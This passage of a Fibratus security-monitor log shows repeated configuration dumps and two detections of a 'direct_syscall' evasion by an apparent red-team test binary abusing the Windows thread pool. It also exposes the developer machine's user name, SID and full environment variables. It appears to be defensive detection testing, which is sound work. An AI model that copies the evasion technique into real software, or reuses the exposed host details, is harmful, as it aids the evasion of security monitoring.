srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-registry=>false skip-allocs=>false excluded-files=>[] skip-files=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:20:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:20:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:23:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:23:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:23:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:23:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:23:23+01:00 level=info msg=bootstrapping with pid 23968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:23:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-dns=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-audit-api=>true enable-mem=>true enable-image=>true flush-interval=>1s stack-enrichment=>true max-buffers=>36 min-buffers=>16 enable-fileio=>true buffer-size=>512 enable-net=>true enable-handle=>false enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info log-stdout=>true max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ amqp=>[ timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ enabled=>false durable=>false exchange-type=>topic passive=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus] elasticsearch=>[ healthcheck-interval=>10s template-name=>fibratus flush-period=>1s trace-log=>false timeout=>5s bulk-workers=>1 gzip-compression=>false sniff=>false index-name=>fibratus enabled=>false healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] http=>[ endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[] skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:23:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:23:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:25:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:25:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:25:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:43:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:43:05+01:00 level=info msg=bootstrapping with pid 21944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:43:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-mem=>true min-buffers=>16 max-buffers=>36 enable-registry=>true enable-image=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-vamap=>true enable-threadpool=>true enable-thread=>true buffer-size=>512 flush-interval=>1s enable-net=>true enable-audit-api=>true enable-fileio=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 log-stdout=>true level=>info max-size=>100] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[] serializer=>json method=>POST] amqp=>[ vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient enabled=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s passive=>false] elasticsearch=>[ flush-period=>1s bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus sniff=>false trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false excluded-files=>[] skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false scan-timeout=>10s fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:43:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:43:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:47:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:47:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:47:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:47:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:47:47+01:00 level=info msg=bootstrapping with pid 21780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:47:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-image=>true enable-vamap=>true flush-interval=>1s min-buffers=>16 enable-net=>true enable-threadpool=>true enable-thread=>true enable-registry=>true enable-fileio=>true max-buffers=>36 buffer-size=>512 enable-mem=>false enable-audit-api=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 formatter=>text level=>info max-age=>0] + output ......................... [ http=>[ method=>POST enable-gzip=>false serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false timeout=>5s] amqp=>[ delivery-mode=>transient routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 durable=>false vhost=>/ enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false sniff=>false trace-log=>false healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s template-name=>fibratus gzip-compression=>false healthcheck=>true] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true skip-allocs=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:47:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:47:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:47:57+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3103938 + Pid: 5784 + Tid: 13688 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 19:47:56.7823155 +0100 CET + Params: callback➜ 7ff6019c1130, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 3185d3f850, pool_id➜ 1c215e71a80, subprocess_tag➜ 0, task_id➜ 1c215e83aa8 + Metadata: evasions: [direct_syscall] + + Pid: 5784 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff6019c1103 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff6019c134c C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T19:50:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3152737 + Pid: 23464 + Tid: 3208 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 19:50:15.0318595 +0100 CET + Params: callback➜ 7ff6019c1130, context➜ 9002cffb50, pool_id➜ 1a98c561a80, subprocess_tag➜ 0, task_id➜ 1a98c573aa8 + Metadata: evasions: [direct_syscall] + + Pid: 23464 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 